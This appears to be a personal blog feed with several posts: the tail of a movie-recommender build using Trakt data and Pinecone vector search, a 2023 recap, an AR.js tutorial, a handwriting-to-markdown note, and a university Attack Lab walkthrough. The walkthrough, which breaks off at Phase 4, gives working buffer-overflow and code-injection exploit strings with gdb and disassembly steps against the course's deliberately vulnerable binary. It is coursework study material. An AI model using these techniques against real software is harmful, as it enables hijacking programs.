    Column("overview", String),
    Column("genres", String),
    Column("year", Integer),
    Column("released", String),
    Column("runtime", Integer),
    Column("country", String),
    Column("language", String),
    Column("rating", Integer),
    Column("votes", Integer),
    Column("comment_count", Integer),
    Column("tagline", String),
    Column("embeddings", PickleType)

)

# Helper function to connect to the db
def init_db_stuff(database_url: str):
    engine = create_engine(database_url)
    meta.create_all(engine)
    Session = sessionmaker(bind=engine)
    return engine, Session

In the end, I could have dropped the embeddings field from the table schema as I never got around to using it.

Scripting Time

from database import *
from tqdm import tqdm
import requests
import os

trakt_id = os.getenv("TRAKT_ID")

max_requests = 5000 # How many requests I wanted to wrap everything up in
req_count = 0 # A counter for how many requests I have made

years = "1900-2021" 
page = 1 # The initial page number for the search
extended = "full" # Required to get additional information 
limit = "10" # No of entires per request -- This will be automatically picked based on max_requests
languages = "en" # Limit to English

api_base = "https://api.trakt.tv"
database_url = "sqlite:///jlm.db"

headers = {
    "Content-Type": "application/json",
    "trakt-api-version": "2",
    "trakt-api-key": trakt_id
}

params = {
    "query": "",
    "years": years,
    "page": page,
    "extended": extended,
    "limit": limit,
    "languages": languages
}

# Helper function to get desirable values from the response
def create_movie_dict(movie: dict):
    m = movie["movie"]
    movie_dict = {
        "title": m["title"],
        "overview": m["overview"],
        "genres": m["genres"],
        "language": m["language"],
        "year": int(m["year"]),
        "trakt_id": m["ids"]["trakt"],
        "released": m["released"],
        "runtime": int(m["runtime"]),
        "country": m["country"],
        "rating": int(m["rating"]),
        "votes": int(m["votes"]),
        "comment_count": int(m["comment_count"]),
        "tagline": m["tagline"]
    }
    return movie_dict

# Get total number of items
params["limit"] = 1
res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)
total_items = res.headers["x-pagination-item-count"]

engine, Session = init_db_stuff(database_url)


for page in tqdm(range(1,max_requests+1)):
    params["page"] = page
    params["limit"] = int(int(total_items)/max_requests)
    movies = []
    res = requests.get(f"{api_base}/search/movie",headers=headers,params=params)

    if res.status_code == 500:
        break
    elif res.status_code == 200:
        None
    else:
        print(f"OwO Code {res.status_code}")

    for movie in res.json():
        movies.append(create_movie_dict(movie))

    with engine.connect() as conn:
        for movie in movies:
            with conn.begin() as trans:
                stmt = insert(movies_table).values(
                    trakt_id=movie["trakt_id"], title=movie["title"], genres=" ".join(movie["genres"]),
                    language=movie["language"], year=movie["year"], released=movie["released"],
                    runtime=movie["runtime"], country=movie["country"], overview=movie["overview"],
                    rating=movie["rating"], votes=movie["votes"], comment_count=movie["comment_count"],
                    tagline=movie["tagline"])
                try:
                    result = conn.execute(stmt)
                    trans.commit()
                except IntegrityError:
                    trans.rollback()
    req_count += 1

(Note: I was well within the rate-limit so I did not have to slow down or implement any other measures)

Running this script took me approximately 3 hours, and resulted in an SQLite database of 141.5 MB

Embeddings!

I did not want to put my poor Mac through the estimated 23 hours it would have taken to embed the sentences. I decided to use Google Colab instead.

Because of the small size of the database file, I was able to just upload the file.

For the encoding model, I decided to use the pretrained paraphrase-multilingual-MiniLM-L12-v2 model for SentenceTransformers, a Python framework for SOTA sentence, text and image embeddings. I wanted to use a multilingual model as I personally consume content in various languages and some of the sources for their information do not translate to English. As of writing this post, I did not include any other database except Trakt.

While deciding how I was going to process the embeddings, I came across multiple solutions:

  • Milvus - An open-source vector database with similar search functionality

  • FAISS - A library for efficient similarity search

  • Pinecone - A fully managed vector database with similar search functionality

I did not want to waste time setting up the first two, so I decided to go with Pinecone which offers 1M 768-dim vectors for free with no credit card required (Our embeddings are 384-dim dense).

Getting started with Pinecone was as easy as:

  • Signing up

  • Specifying the index name and vector dimensions along with the similarity search metric (Cosine Similarity for our use case)

  • Getting the API key

  • Installing the Python module (pinecone-client)

import pandas as pd
import pinecone
from sentence_transformers import SentenceTransformer
from tqdm import tqdm 

database_url = "sqlite:///jlm.db"
PINECONE_KEY = "not-this-at-all"
batch_size = 32

pinecone.init(api_key=PINECONE_KEY, environment="us-west1-gcp")
index = pinecone.Index("movies")

model = SentenceTransformer("paraphrase-multilingual-MiniLM-L12-v2", device="cuda")
engine, Session = init_db_stuff(database_url)

df = pd.read_sql("Select * from movies", engine)
df["combined_text"] = df["title"] + ": " + df["overview"].fillna('') + " -  " + df["tagline"].fillna('') + " Genres:-  " + df["genres"].fillna('')

# Creating the embedding and inserting it into the database
for x in tqdm(range(0,len(df),batch_size)):
    to_send = []
    trakt_ids = df["trakt_id"][x:x+batch_size].tolist()
    sentences = df["combined_text"][x:x+batch_size].tolist()
    embeddings = model.encode(sentences)
    for idx, value in enumerate(trakt_ids):
        to_send.append(
            (
                str(value), embeddings[idx].tolist()
            ))
    index.upsert(to_send)

That's it!

Interacting with Vectors

We use the trakt_id for the movie as the ID for the vectors and upsert it into the index.

To find similar items, we will first have to map the name of the movie to its trakt_id, get the embeddings we have for that id and then perform a similarity search. It is possible that this additional step of mapping could be avoided by storing information as metadata in the index.

def get_trakt_id(df, title: str):
  rec = df[df["title"].str.lower()==movie_name.lower()]
  if len(rec.trakt_id.values.tolist()) > 1:
    print(f"multiple values found... {len(rec.trakt_id.values)}")
    for x in range(len(rec)):
      print(f"[{x}] {rec['title'].tolist()[x]} ({rec['year'].tolist()[x]}) - {rec['overview'].tolist()}")
      print("===")
      z = int(input("Choose No: "))
      return rec.trakt_id.values[z]
  return rec.trakt_id.values[0]

def get_vector_value(trakt_id: int):
  fetch_response = index.fetch(ids=[str(trakt_id)])
  return fetch_response["vectors"][str(trakt_id)]["values"]

def query_vectors(vector: list, top_k: int = 20, include_values: bool = False, include_metada: bool = True):
  query_response = index.query(
      queries=[
          (vector),
      ],
      top_k=top_k,
      include_values=include_values,
      include_metadata=include_metada
  )
  return query_response

def query2ids(query_response):
  trakt_ids = []
  for match in query_response["results"][0]["matches"]:
    trakt_ids.append(int(match["id"]))
  return trakt_ids

def get_deets_by_trakt_id(df, trakt_id: int):
  df = df[df["trakt_id"]==trakt_id]
  return {
      "title": df.title.values[0],
      "overview": df.overview.values[0],
      "runtime": df.runtime.values[0],
      "year": df.year.values[0]
  }

Testing it Out

movie_name = "Now You See Me"

movie_trakt_id = get_trakt_id(df, movie_name)
print(movie_trakt_id)
movie_vector = get_vector_value(movie_trakt_id)
movie_queries = query_vectors(movie_vector)
movie_ids = query2ids(movie_queries)
print(movie_ids)

for trakt_id in movie_ids:
  deets = get_deets_by_trakt_id(df, trakt_id)
  print(f"{deets['title']} ({deets['year']}): {deets['overview']}")

Output:

55786
[55786, 18374, 299592, 662622, 6054, 227458, 139687, 303950, 70000, 129307, 70823, 5766, 23950, 137696, 655723, 32842, 413269, 145994, 197990, 373832]
Now You See Me (2013): An FBI agent and an Interpol detective track a team of illusionists who pull off bank heists during their performances and reward their audiences with the money.
Trapped (1949): U.S. Treasury Department agents go after a ring of counterfeiters.
Brute Sanity (2018): An FBI-trained neuropsychologist teams up with a thief to find a reality-altering device while her insane ex-boss unleashes bizarre traps to stop her.
The Chase (2017): Some FBI agents hunt down a criminal
Surveillance (2008): An FBI agent tracks a serial killer with the help of three of his would-be victims - all of whom have wildly different stories to tell.
Marauders (2016): An untraceable group of elite bank robbers is chased by a suicidal FBI agent who uncovers a deeper purpose behind the robbery-homicides.
Miracles for Sale (1939): A maker of illusions for magicians protects an ingenue likely to be murdered.
Deceptors (2005): A Ghostbusters knock-off where a group of con-artists create bogus monsters to scare up some cash. They run for their lives when real spooks attack.
The Outfit (1993): A renegade FBI agent sparks an explosive mob war between gangster crime lords Legs Diamond and Dutch Schultz.
Bank Alarm (1937): A federal agent learns the gangsters he's been investigating have kidnapped his sister.
The Courier (2012): A shady FBI agent recruits a courier to deliver a mysterious package to a vengeful master criminal who has recently resurfaced with a diabolical plan.
After the Sunset (2004): An FBI agent is suspicious of two master thieves, quietly enjoying their retirement near what may - or may not - be the biggest score of their careers.
Down Three Dark Streets (1954): An FBI Agent takes on the three unrelated cases of a dead agent to track down his killer.
The Executioner (1970): A British intelligence agent must track down a fellow spy suspected of being a double agent.
Ace of Cactus Range (1924): A Secret Service agent goes undercover to unmask the leader of a gang of diamond thieves.
Firepower (1979): A mercenary is hired by the FBI to track down a powerful recluse criminal, a woman is also trying to track him down for her own personal vendetta.
Heroes & Villains (2018): an FBI agent chases a thug to great tunes
Federal Fugitives (1941): A government agent goes undercover in order to apprehend a saboteur who caused a plane crash.
Hell on Earth (2012): An FBI Agent on the trail of a group of drug traffickers learns that their corruption runs deeper than she ever imagined, and finds herself in a supernatural - and deadly - situation.
Spies (2015): A secret agent must perform a heist without time on his side

For now, I am happy with the recommendations.

Simple UI

The code for the flask app can be found on GitHub: navanchauhan/FlixRec or on my Gitea instance

I quickly whipped up a simple Flask App to deal with problems of multiple movies sharing the title, and typos in the search query.

Home Page

Home Page

Handling Multiple Movies with Same Title

Multiple Movies with Same Title

Results Page

Results Page

Includes additional filter options

Advance Filtering Options

Test it out at https://flixrec.navan.dev

Current Limittations

  • Does not work well with popular franchises
  • No Genre Filter

Future Addons

  • Include Cast Data
    • e.g. If it sees a movie with Tom Hanks and Meg Ryan, then it will boost similar movies including them
    • e.g. If it sees the movie has been directed my McG, then it will boost similar movies directed by them
  • REST API
  • TV Shows
  • Multilingual database
  • Filter based on popularity: The data already exists in the indexed database
]]>
https://web.navan.dev/posts/2024-01-05-hello-20224.html Hello 2024 Recap of 2023, and my goals for 2024 https://web.navan.dev/posts/2024-01-05-hello-20224.html Fri, 05 Jan 2024 23:16:00 -0000 Hello 2024

2024 % 4 == 0

2023

Another revolution around the sun! This was a pretty fun and interesting year. I got to work on some interesting projects, and learned a lot.

I am going to try and use my GitHub activity to recap.

Spring

  • I helped a friend modernize their Larvael codebase. Dockerized it for easier development, and added a CD pipeline. (Probably going to be released by end of this year)
  • I joined Hindsight Journal, a creative non-fiction club at CU as their "webmaster", and we moved away from Squarespace to our own custom static site generator.
  • I did some YunoHost stuff with listmonk, and audiobookshelf
  • I found out that the instructor for my astrophysics class was behind @ThreeBodyBot. For my final project, I ported the codebase to run in the browser itself. Ended up getting an A 😎
  • Won HackCU, my first hackathon in a few years. We built a timeboxing app similar to Motion / Reclaim.AI. Cleaned up the codebase and published it to the App Store as TimeSlicerX, making it my first published app.
  • Got into Mountain Biking!

Summer

Summer was more relaxing. I mainly worked on some maintenance patches for my projects, and did some more freelancing stuff.

  • Learned Tkinter for a client's project. Working with PyInstaller to create signed executables for both macOS and Windows was not fun. Also, the stock Tk look on Windows is terrible.
  • Continued working on a research project using Computer Vision in analysing a lateral flow assay. Tried porting it to use OpenCV.js, but it wasn't reliable enough. I might look into directly working with OpenCV/Vision Framework for an iOS app.

Fall

  • Won a couple more hackathons. I might summarize my hackathon experience in a different blog post.
  • I gave up being the "webmaster" for Hindsight, and decided to become the club's business manager. We moved to Wix.
  • Had fun re-learning all the reverse engineering stuff for my Systems class.
  • Tried Advent of Code. Will be back :~)
  • Created an alternative to Simplify.Jobs and worked on autofilling resumes without needing a browser extension (Current solution does require that you disable a few security flags for this to work). One solution might be to wrap our website as an Electron application.
  • Started working on swift-gopher - a swift library for both client/server implementations for the Gopher protocol.
  • Ended up using swift-gopher to build iGopherBrowser - a modern gopher client for iOS / macOS. This is my first publically availablle macOS app.

After the end of the fall semester I ended up getting my wisdom tooth removed. Took me out for 10 days.

I also did a ton of other stuff, but I am not sure how much I want to be sharing on my blog here. Maybe as I write more I will get more comfortable with sharing more information.

2024

So, what are my plans for 2024? Learn. Build. Ship.

Other goals:

  • Continue homebrewing
  • Learn assembly
  • Get better at designing stuff
  • Improve my handwriting
  • Do a deeper dive into the math of Machine/Deep Learning, before I get back into it
]]>
https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html Introduction to AR.js and Natural Feature Tracking An introduction to AR.js and NFT https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html Sat, 01 Aug 2020 15:43:00 -0000 Introduction to AR.js and Natural Feature Tracking

AR.js

AR.js is a lightweight library for Augmented Reality on the Web, coming with features like Image Tracking, Location based AR and Marker tracking. It is the easiest option for cross-browser augmented reality.

The same code works for iOS, Android, Desktops and even VR Browsers!

It was initially created by Jerome Etienne and is now maintained by Nicolo Carpignoli and the AR-js Organisation

NFT

Usually for augmented reality you need specialised markers, like this Hiro marker (notice the thick non-aesthetic borders 🤢)

This is called marker based tracking where the code knows what to look for. NFT or Natural Feature Tracing converts normal images into markers by extracting 'features' from it, this way you can use any image of your liking!

I'll be using my GitHub profile picture

Creating the Marker!

First we need to create the marker files required by AR.js for NFT. For this we use Carnaux's repository 'NFT-Marker-Creator'.

$ git clone https://github.com/Carnaux/NFT-Marker-Creator

Cloning into 'NFT-Marker-Creator'...
remote: Enumerating objects: 79, done.
remote: Counting objects: 100% (79/79), done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 580 (delta 10), reused 59 (delta 7), pack-reused 501
Receiving objects: 100% (580/580), 9.88 MiB | 282.00 KiB/s, done.
Resolving deltas: 100% (262/262), done.

$ cd NFT-Makrer-Creator

Install the dependencies

$ npm install

npm WARN nodegenerator@1.0.0 No repository field.

added 67 packages from 56 contributors and audited 67 packages in 2.96s

1 package is looking for funding
  run `npm fund` for details

found 0 vulnerabilities



   ╭────────────────────────────────────────────────────────────────╮
   │                                                                │
   │      New patch version of npm available! 6.14.5 → 6.14.7       │
   │   Changelog: https://github.com/npm/cli/releases/tag/v6.14.7   │
   │               Run npm install -g npm to update!                │
   │                                                                │
   ╰────────────────────────────────────────────────────────────────╯


Copy the target marker to the folder

$ cp ~/CodingAndStuff/ARjs/me.png .

Generate Marker

$ node app.js -i me.png

Confidence level: [ * * * * * ] 5/5 || Entropy: 5.24 || Current max: 5.17 min: 4.6

Do you want to continue? (Y/N)
y
writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!
[info] 
Commands: 
[info] --
Generator started at 2020-08-01 16:01:41 +0580
[info] Tracking Extraction Level = 2
[info] MAX_THRESH  = 0.900000
[info] MIN_THRESH  = 0.550000
[info] SD_THRESH   = 8.000000
[info] Initialization Extraction Level = 1
[info] SURF_FEATURE = 100
[info]  min allow 3.699000.
[info] Image DPI (1): 3.699000
[info] Image DPI (2): 4.660448
[info] Image DPI (3): 5.871797
[info] Image DPI (4): 7.398000
[info] Image DPI (5): 9.320896
[info] Image DPI (6): 11.743593
[info] Image DPI (7): 14.796000
[info] Image DPI (8): 18.641792
[info] Image DPI (9): 23.487186
[info] Image DPI (10): 29.592001
[info] Image DPI (11): 37.283585
[info] Image DPI (12): 46.974373
[info] Image DPI (13): 59.184002
[info] Image DPI (14): 72.000000
[info] Generating ImageSet...
[info]    (Source image xsize=568, ysize=545, channels=3, dpi=72.0).
[info]   Done.
[info] Saving to asa.iset...
[info]   Done.
[info] Generating FeatureList...

...

[info] (46, 44) 5.871797[dpi]
[info] Freak features - 23[info] ========= 23 ===========
[info] (37, 35) 4.660448[dpi]
[info] Freak features - 19[info] ========= 19 ===========
[info] (29, 28) 3.699000[dpi]
[info] Freak features - 9[info] ========= 9 ===========
[info]   Done.
[info] Saving FeatureSet3...
[info]   Done.
[info] Generator finished at 2020-08-01 16:02:02 +0580
--

Finished marker creation!
Now configuring demo! 

Finished!
To run demo use: 'npm run demo'

Now we have the required files in the output folder

$ ls output

me.fset  me.fset3 me.iset

Creating the HTML Page

Create a new file called index.html in your project folder. This is the basic template we are going to use. Replace me with the root filename of your image, for example NeverGonnaGiveYouUp.png will become NeverGonnaGiveYouUp. Make sure you have copied all three files from the output folder in the previous step to the root of your project folder.

<script src="https://cdn.jsdelivr.net/gh/aframevr/aframe@1c2407b26c61958baa93967b5412487cd94b290b/dist/aframe-master.min.js"></script>
<script src="https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar-nft.js"></script>

<style>
  .arjs-loader {
    height: 100%;
    width: 100%;
    position: absolute;
    top: 0;
    left: 0;
    background-color: rgba(0, 0, 0, 0.8);
    z-index: 9999;
    display: flex;
    justify-content: center;
    align-items: center;
  }

  .arjs-loader div {
    text-align: center;
    font-size: 1.25em;
    color: white;
  }
</style>

<body style="margin : 0px; overflow: hidden;">
  <div class="arjs-loader">
    <div>Calculating Image Descriptors....</div>
  </div>
  <a-scene
    vr-mode-ui="enabled: false;"
    renderer="logarithmicDepthBuffer: true;"
    embedded
    arjs="trackingMethod: best; sourceType: webcam;debugUIEnabled: false;"
  >
    <a-nft
      type="nft"
      url="./me"
      smooth="true"
      smoothCount="10"
      smoothTolerance=".01"
      smoothThreshold="5"
    >

    </a-nft>
    <a-entity camera></a-entity>
  </a-scene>
</body>

In this we are creating a AFrame scene and we are telling it that we want to use NFT Tracking. The amazing part about using AFrame is that we are able to use all AFrame objects!

Adding a simple box

Let us add a simple box!

<a-nft .....>
    <a-box position='100 0.5 -180' material='opacity: 0.5; side: double' scale="100 100 100"></a-box>
</a-nft>

Now to test it out we will need to create a simple server, I use Python's inbuilt SimpleHTTPServer alongside ngrok

In one terminal window, cd to the project directory. Currently your project folder should have 4 files, index.html, me.fset3, me.fset and me.iset

Open up two terminal windows and cd into your project folder then run the following commands to start up your server.

In the first terminal window start the Python Server

$ cd ~/CodingAndStuff/ARjs
$ python2 -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

In the other window run ngrok ( Make sure you have installed it prior to running this step )

$ ngrok http 8000

Now copy the url to your phone and try running the example

👏 Congratulations! You just built an Augmented Reality experience using AR.js and AFrame

Adding a Torus-Knot in the box

Edit your index.html

<a-nft ..>
    <a-box ..>
        <a-torus-knot radius='0.26' radius-tubular='0.05' ></a-torus-knot>
    </ a-box>
</ a-nft>

Where are the GIFs?

Now that we know how to place a box in the scene and add a torus knot in it, what do we do next? We bring the classic internet back!

AFrame GIF Shader is a gif shader for A-Frame created by mayognaise.

First things first

Add <script src="https://rawgit.com/mayognaise/aframe-gif-shader/master/dist/aframe-gif-shader.min.js"></script> to <head>

Change the box's material to add the GIF shader

...
<a-box position='100 0.5 -180' material="shader:gif;src:url(https://media.tenor.com/images/412b1aa9149d98d561df62db221e0789/tenor.gif);opacity:.5" .....>

Bonus Idea: Integrate it with GitHub's new profile Readme Feature!

1) Host the code using GitHub Pages

2) Create a new repository ( the name should be your GitHub username )

3) Add QR Code to the page and tell the users to scan your profile picture

??) Profit 💸

Here is a screenshot of me scanning a rounded version of my profile picture ( It still works! Even though the image is cropped and I haven't changed any line of code )

]]>
https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html A new method to blog Writing posts in markdown using pen and paper https://web.navan.dev/posts/2022-11-07-a-new-method-to-blog.html Mon, 07 Nov 2022 23:29:00 -0000 A new method to blog

Here is the original PDF. I made some edits to the content after generating the markdown file

Paper Website is a service that lets you build a website with just pen and paper. I am going to try and replicate the process.

The Plan

The continuity feature on macOS + iOS lets you scan PDFs directly from your iPhone. I want to be able to scan these pages and automatically run an Automator script that takes the PDF and OCRs the text. Then I can further clean the text and convert from markdown.

Challenges

I quickly realised that the OCR software I planned on using could not detect my shitty handwriting accurately. I tried using ABBY Finereader, Prizmo and OCRMyPDF. (Abby Finereader and Prizmo support being automated by Automator).

Now, I could either write neater, or use an external API like Microsoft Azure

Solution

OCR

In the PDFs, all the scans are saved as images on a page. I extract the image and then send it to Azure's API.

Paragraph Breaks

The recognised text had multiple lines breaking in the middle of the sentence, Therefore, I use what is called a pilcrow to specify paragraph breaks. But, rather than trying to draw the normal pilcrow, I just use the HTML entity &#182; which is the pilcrow character.

Where is the code?

I created a GitHub Gist for a sample Python script to take the PDF and print the text

A more complete version with Auomator scripts and an entire publishing pipeline will be available as a GitHub and Gitea repo soon.

* In Part 2, I will discuss some more features *

]]>
https://web.navan.dev/posts/2023-10-05-attack-lab.html Attack Lab Walkthrough of Attack Lab Phases 1-4 for CSCI 2400 Computer Systems https://web.navan.dev/posts/2023-10-05-attack-lab.html Thu, 05 Oct 2023 20:01:00 -0000 Attack Lab

Introduction

Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems

This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow. Attack Lab Handout

Again, I like using objdump to disassemble the code.

objdump -d ctarget > dis.txt

Phase 1

From the instructions, we know that our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test

Let us try to look into the getbuf from our disassembled code.

0000000000402608 <getbuf>:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3  
402608: 48 83 ec 18             sub    $0x18,%rsp

We can see that 0x18 (hex) or 24 (decimal) bytes of buffer is allocated to getbuf (Since, 24 bytes are being subtracted from the stack pointer).

Buffer Overflow: A buffer overrun happens when the size of the data exceeds the memory size reserved for the buffer we are storing in our value.

Now, since we know the buffer size we can try passing the address of the touch1 function after we pad it up with the buffer size.

jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1
000000000040261e <touch1>:

We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)'
little

We have our padding size and the function we need to call, we can write it in ctarget.l1.txt

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 26 40 00 00 00 00 00
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phase 2

Phase 2 involves injecting a small amount of code as part of your exploit string.

Within the file ctarget there is code for a function touch2 having the following C representation: Attack Lab Handout

void touch2(unsigned val)
{
        vlevel = 2;
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
}

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

Recall that the first argument to a function is passed in register %rdi Attack Lab Handout

This hint tells us that we need to store the cookie in the rdi register

movq $0x3e8dee8f,%rdi 
retq

To get the byte representation, we need to compile the code and then disassemble it.

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o
phase2.s: Assembler messages:
phase2.s: Warning: end of file not at end of a line; newline inserted

phase2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 8f ee 8d 3e    mov    $0x3e8dee8f,%rdi
   7:   c3                      ret    

Thus, the byte representation for our asm code is 48 c7 c7 8f ee 8d 3e c3

We also need to figure out the address to the %rsp register. Again, looking at the getbuf code

0000000000402608 <getbuf>:
  402608:   48 83 ec 18             sub    $0x18,%rsp
  40260c:   48 89 e7                mov    %rsp,%rdi
  40260f:   e8 95 02 00 00          call   4028a9 <Gets>
  402614:   b8 01 00 00 00          mov    $0x1,%eax
  402619:   48 83 c4 18             add    $0x18,%rsp
  40261d:   c3                      ret

We need to find the address of %rsp after calling <Gets> and sending a really long string.

What we are going to do now is to add a break on getbuf, and run the program just after it asks us to enter a string and then find the address of %rsp

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x402608: file buf.c, line 12.
(gdb) run
Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget 
Cookie: 0x3e8dee8f

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x0000000000402608 <+0>:     sub    $0x18,%rsp
   0x000000000040260c <+4>:     mov    %rsp,%rdi
   0x000000000040260f <+7>:     call   0x4028a9 <Gets>
   0x0000000000402614 <+12>:    mov    $0x1,%eax
   0x0000000000402619 <+17>:    add    $0x18,%rsp
   0x000000000040261d <+21>:    ret    
End of assembler dump.
(gdb) until *0x402614
Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe
getbuf () at buf.c:15
15      in buf.c
(gdb) x/s $rsp
0x55621b40:     "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"
(gdb)

So, the address for %rsp is 0x55621b40

Thus, we can set our ctarget.l2.txt as:

byte representation of ASM code
padding
address of %rsp
address of touch2 function

To get the address of touch2 we can run:

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2
000000000040264e <touch2>:
  402666:       74 2a                   je     402692 <touch2+0x44>
  4026b2:       eb d4                   jmp    402688 <touch2+0x3a>
48 c7 c7 8f ee 8d 3e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
4e 26 b2 00 00 00 00 00

Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes,

joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch2!: You called touch2(0x3e8dee8f)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phase 3

Phase 3 also involves a code injection attack, but passing a string as argument.

You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”

Your injected code should set register %rdi to the address of this string

When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie. Attack Lab Handout

Because hexmatch and strncmp might overwrite the buffer allocated for getbuf we will try to store the data after the function touch3 itself.

The rationale is simple: by the time our payload is executed, we will be setting %rdi to point to the cookie. Placing the cookie after touch3 function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.

=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)

  • Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the touch3 function)
  • Touch 3 (8 bytes): The address of the touch3 function is 8 bytes long.

We can use our address for %rsp from phase 2, and simply add 0x28 to it.

=> 0x55621b40 + 0x28 = 0x55621B68

Again, let us get the binary representation for the ASM code:

movq $0x55621B68, %rdi
retq
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o
phase3.s: Assembler messages:
phase3.s: Warning: end of file not at end of a line; newline inserted

phase3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 68 1b 62 55    mov    $0x55621b68,%rdi
   7:   c3                      ret

Thus, our answer is going to be in the form:

asm code
padding
return address / %rsp
touch3 address
cookie string

To quickly get the address for touch3

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3
0000000000402763 <touch3>:
  402781:       74 2d                   je     4027b0 <touch3+0x4d>
  4027d3:       eb d1                   jmp    4027a6 <touch3+0x43>

We need to use an ASCII to Hex converter to convert the cookie string into hex.

jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p
3365386465653866

Thus, our cookie string representation is 33 65 38 64 65 65 38 66

48 c7 c7 68 1B 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
63 27 40 00 00 00 00 00
33 65 38 64 65 65 38 66
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget 
Cookie: 0x3e8dee8f
Type string:Touch3!: You called touch3("3e8dee8f")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

Phases 1-3 Complete.

Phase 4

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm. You can construct your solution using gadgets consisting of the following instruction types, and using only the first eight x86-64 registers (%rax–%rdi). * movq * popq * ret * nop

All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions startfarm and midfarm

You can do this attack with just two gadgets

When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data. Attack Lab Handout

What is ROP Attack?

is a computer security exploit technique in which the attacker uses control of the call stack to indirectly execute cherry-picked machine instructions https://resources.infosecinstitute.com

Let us check if we can find popq %rdi between start_farm and end_farm

